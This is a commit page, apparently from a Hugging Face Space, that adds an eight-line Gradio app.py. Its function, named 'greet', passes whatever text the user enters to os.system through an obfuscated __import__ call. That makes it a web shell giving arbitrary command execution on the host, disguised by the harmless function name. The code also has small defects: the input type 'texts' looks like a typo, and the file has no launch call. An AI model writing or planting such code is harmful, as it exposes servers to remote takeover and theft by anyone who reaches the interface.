lwdragon commited on
Commit
72b0709
·
1 Parent(s): 04df2cb

Create app.py

Browse files
Files changed (1) hide show
  1. app.py +8 -0
app.py ADDED
@@ -0,0 +1,8 @@
 
 
 
 
 
 
 
 
 
1
+ import gradio as gr
2
+
3
+ def greet(cmd):
4
+ a = str(__import__("os").system(cmd))
5
+
6
+ return a
7
+
8
+ iface = gr.Interface(fn=greet, inputs="texts", outputs="text")